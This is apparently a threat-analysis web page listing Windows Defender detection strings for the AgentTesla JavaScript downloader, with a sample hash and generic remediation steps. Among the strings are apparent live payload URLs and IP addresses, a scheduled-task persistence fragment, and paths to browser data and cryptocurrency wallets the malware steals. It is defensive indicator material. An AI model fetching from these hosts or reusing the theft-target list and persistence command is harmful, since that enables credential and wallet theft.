 - WindowsInterface.Form1.resources (PEHSTR_EXT)
 - ://filebin.net/gdua73i760bj7z51/Jtcuyvqba.dat (PEHSTR_EXT)
 - ://remisat.com.uy/non/ (PEHSTR_EXT)
 - UDF_Utility.Properties.Resources (PEHSTR_EXT)
 - QLTV.frmMain.resources (PEHSTR_EXT)
 - AppActivate "Error.TextBox1" (MACROHSTR_EXT)
 - Error.TextBox1 (MACROHSTR_EXT)
 - WinFormGregorCatch.exe (PEHSTR_EXT)
 - MyMemoryManagement.Properties.Resources (PEHSTR_EXT)
 - MyMemoryManagement.Form1.resources (PEHSTR_EXT)
 - ://gigantoferkft.hu/Bajtolqrb.dat (PEHSTR_EXT)
 - Mduwokd.Annotations (PEHSTR_EXT)
 - Mduwokd.States (PEHSTR_EXT)
 - SwitchboardServer.Properties (PEHSTR_EXT)
 - Stub\Projects\Confiformsyalla\obj\Debug\Confiformsyalla.pdb (PEHSTR_EXT)
 - Confiformsyalla.exe (PEHSTR_EXT)
 - WeAreChmnet.pdb (PEHSTR_EXT)
 - lld.eerocsm (PEHSTR_EXT)
 - allstarprivate.net (PEHSTR_EXT)
 - Stub\Projects\Jabret\obj\Debug\Jabret.pdb (PEHSTR_EXT)
 - pathologist.d (PEHSTR_EXT)
 - RejoiceRefReshing.resources (PEHSTR_EXT)
 - QuanLyBanGiay.CCM (PEHSTR_EXT)
 - ://103.74.105.78/GRANADA/Znusl.vdf (PEHSTR_EXT)
 - Tehcizat.Properties (PEHSTR_EXT)
 - OpenMcdf.Structs (PEHSTR_EXT)
 - Lzefgtdydo.Properties.Resources.resources (PEHSTR_EXT)
 - twoPnphu.Consumers (PEHSTR_EXT)
 - CrudApplication.Properties.Resources (PEHSTR_EXT)
 - C:\logs\RecolectorDocumentos (PEHSTR_EXT)
 - TimeWindowsFormsApplication.Properties (PEHSTR_EXT)
 - CryptoObfuscator_Output\HHH887.pdb (PEHSTR_EXT)
 - HHH887.Properties (PEHSTR_EXT)
 - ConBook.Properties.Resources (PEHSTR)
 - &ConBook.Properties.Resources.resources (PEHSTR)
 - https://inspirecollege.co.uk/trashss/ (PEHSTR_EXT)
 - Product.Properties.Resources (PEHSTR_EXT)
 - //167.160.166.205/1571.bin (PEHSTR_EXT)
 - Memori.Properties (PEHSTR_EXT)
 - Jokenpo.Properties (PEHSTR_EXT)
 - xorStub.g.resources (PEHSTR_EXT)
 - Devices_Custom.Properties.Resources (PEHSTR_EXT)
 - soy\avicularimorphae\kmpestore (PEHSTR_EXT)
 - \aandsarbejdere\fidusen (PEHSTR_EXT)
 - discommodiously fondsaktiens trykstbnings (PEHSTR_EXT)
 - NorthAmericaUpdate.exe (PEHSTR_EXT)
 - EmployeeManagementSystem.Properties (PEHSTR_EXT)
 - PizzaOrderReceipt.Files.Def (PEHSTR_EXT)
 - Client.Properties (PEHSTR_EXT)
 - C24TGL_00000531.Importers (PEHSTR_EXT)
 - Grafik_Sistemi.Resource1.resources (PEHSTR_EXT)
 - Crud3CamadasMota.Properties (PEHSTR_EXT)
 - Crud3CamadasMota.Form1.resources (PEHSTR_EXT)
 - Crud3CamadasMota.Properties.Resources.resources (PEHSTR_EXT)
 - TextBoxMaskInput.Properties.Resources.resources (PEHSTR_EXT)
 - HN.Product.resources (PEHSTR_EXT)
 - Hadouken.Properties.Resources.resources (PEHSTR_EXT)
 - ConnectFour.Kassa.NieuweKlant.resources (PEHSTR_EXT)
 - GB-lesson-forms.g.resource (PEHSTR_EXT)
 - https://playstoremeta.com/wp-includes/Lwsgu.dat (PEHSTR_EXT)
 - Fyqcteret.exe (PEHSTR_EXT)
 - ResumesApp.Properties.Resources.resources (PEHSTR_EXT)
 - EP1_Restaurante.Properties (PEHSTR_EXT)
 - WASXZCGU77.Properties (PEHSTR_EXT)
 - \Temp (PEHSTR_EXT)
 - BloodBank.Properties.Resources.resources (PEHSTR_EXT)
 - BloodBank.Records.resources (PEHSTR_EXT)
 - Kviskoteka.Properties (PEHSTR_EXT)
 - CommonPractice (PEHSTR_EXT)
 - PDV.Properties.Resources.resources (PEHSTR_EXT)
 - Haghazinetak.Resources (PEHSTR_EXT)
 - Vfuqzohod.Properties (PEHSTR_EXT)
 - ListNobifex.Resources (PEHSTR_EXT)
 - Client.Helper (PEHSTR_EXT)
 - Bbwuxnxchu.SecurePayloadHandler+<FetchFromNetworkAsync (PEHSTR_EXT)
 - Vxadisq.exe (PEHSTR_EXT)
 - dynamic_code.bin (PEHSTR_EXT)
 - fHOf2y0wQZxw7LSBwa.Vc3YA5bRjCBx9GKxnr (PEHSTR_EXT)
 - SortArray.Properties.Resources.resources (PEHSTR_EXT)
 - MacUI.Properties.Resources.resources (PEHSTR_EXT)
 - ="http://176.65.134.79/hosting/ (MACROHSTR_EXT)
 - .ps1"x2="c:\\temp\\ (MACROHSTR_EXT)
 - Employee_Management_System.Properties.Resources.resources (PEHSTR_EXT)
 - crm.Properties.Resources.resources (PEHSTR_EXT)
 - MegaDesk.Properties.Resources (PEHSTR_EXT)
 - NomNom.Properties.Resources (PEHSTR_EXT)
 - MegaDesk.Properties.Resources.resources (PEHSTR_EXT)
 - GMS.Properties.Resources (PEHSTR_EXT)
 - CalculadoraMediaAluno.Properties.Resources (PEHSTR_EXT)
 - Student_Management_System.Properties.Resources (PEHSTR_EXT)
 - project2_stockDisplay.Properties.Resources (PEHSTR_EXT)
 - DeliveryMarket.Properties.Resources (PEHSTR_EXT)
 - Sol_Minimarket.Properties.Resources (PEHSTR_EXT)
 - Alarmer.Properties.Resources (PEHSTR_EXT)
 - COFFEESHOP.Properties.Resources (PEHSTR_EXT)
 - FinalDBMS.Properties.Resources (PEHSTR_EXT)
 - System_Inspect.Properties.Resources (PEHSTR_EXT)
 - Nina.Properties.Resources (PEHSTR_EXT)
 - evXCrwb/ca0kO5SN3lwjbw== (PEHSTR_EXT)
 - XPTcA7LGf5R6Jbesh8.jIuNk0l1PwYyv2bEFd (PEHSTR_EXT)
 - https://files.catbox.moe/jty6a2.wav (PEHSTR_EXT)
 - Leswvbebd.exe (PEHSTR_EXT)
 - inventry.Properties.Resources (PEHSTR_EXT)
 - GameFood.Properties.Resources (PEHSTR_EXT)
 - StormCast.Properties.Resources (PEHSTR_EXT)
 - QLNS.Properties.Resources (PEHSTR_EXT)
 - Oyunu.Properties.Resources (PEHSTR_EXT)
 - QuanLyHocSinh.Properties.Resources (PEHSTR_EXT)
 - (serverapp.Properties.Resources.resources (PEHSTR)
 - http://3.72.88.224/f1/Xluumkamo.mp4 (PEHSTR_EXT)
 - CompressedBytes (PEHSTR_EXT)
 - https://discord.horse/js/bw_bundle.js (PEHSTR_EXT)
 - CSS_Minifier.Properties.Resources.resources (PEHSTR_EXT)
 - NotepadPlus.Properties.Resources.resources (PEHSTR_EXT)
 - PharmacyProject.Properties.Resources (PEHSTR_EXT)
 - AnalyzeGraphics.Properties.Resources (PEHSTR_EXT)
 - NTH.Windows.Forms.Properties.Resources (PEHSTR_EXT)
 - schtasks /create /f /sc onlogon /tn (PEHSTR_EXT)
 - Vivaldi\User Data (PEHSTR_EXT)
 - %s\Default\Web Data (PEHSTR_EXT)
 - %s\Default\History (PEHSTR_EXT)
 - Exodus\exodus.wallet (PEHSTR_EXT)
 - Electrum\wallets (PEHSTR_EXT)
 - Atomic\Local Storage\leveldb (PEHSTR_EXT)
 - Coinomi\wallets (PEHSTR_EXT)
 - Jaxx\Local Storage\leveldb (PEHSTR_EXT)
 - Litecoin\wallets (PEHSTR_EXT)
 - Bitcoin\wallets (PEHSTR_EXT)
 - Dash\wallets (PEHSTR_EXT)
 - Zcash\wallets (PEHSTR_EXT)
 - WorldClock.Properties.Resources (PEHSTR_EXT)
 - WordScrambleGame.Properties.Resources (PEHSTR_EXT)
 - PrimeNumberGenerator.Properties (PEHSTR_EXT)
 - HastaneProjeENSONhali.Properties.Resource (PEHSTR_EXT)
 - D3\$@A (PEHSTR_EXT)
 - &v@\? (SNID)
 - &N\_x (SNID)
 - ^C(\F (SNID)
 - /tlx/ (SNID)
 - y/(";H (SNID)
 - ,C\jn (SNID)
 - 0/_"_s (SNID)
 - )ed\.. (SNID)
 - \gm[w: (SNID)
 - HJS (SNID)
 - P|R\3a (SNID)
 - !#HSTR:StringCodeForMshta.A!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForHooking.C!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForHooking.D!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForHooking.L!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForHooking.O!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForRegsvr32.A!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForRundll32.A!pli (PEHSTR_EXT)
 - rundll32 (PEHSTR_EXT)
 - !#HSTR:StringCodeForBITSJobs.A!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForPowerShell.G!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForScheduledTask.A!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForDataEncoding.D!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForHooking.J!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForHooking.K!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForRemoteFileCopy.B!pli (PEHSTR_EXT)
 - !#HSTR:ExecutionGuardrails (PEHSTR_EXT)
 - !#HSTR:StringCodeForFileDeletion.A!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForHooking.M!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForNetshHelperDLL.A!pli (PEHSTR_EXT)
 - !#HSTR:StringCodeForRemoteServices.A!pli (PEHSTR_EXT)

Known malware which is associated with this threat:

Filename: RFQ-VERO PROJECT-CTTI-SDQ9043 HDS.js

3fdd061c236db8f0e685571c0b178f9bcaab4175d67132a25dbf1acf16a33e36

22/01/2026

→VirusTotal ↓Download Sample

Remediation Steps:

Immediately isolate the affected system to prevent further compromise. Perform a full system scan with updated antivirus/EDR, remove all detected malicious files, and investigate for persistence mechanisms and additional payloads. Reset all potentially compromised credentials, especially those related to network services, and block communication with suspicious C2 domains.

=== END REPORT ===

$ reanalyze-threat

This analysis was last updated on 22/01/2026. Do you want to analyze it again?

$ ls available-commands/

→ cd /home

user@threatcheck.sh:~$ ▊

TrojanDownloader:JS/AgentTesla!AMTB - Windows Defender Threat Analysis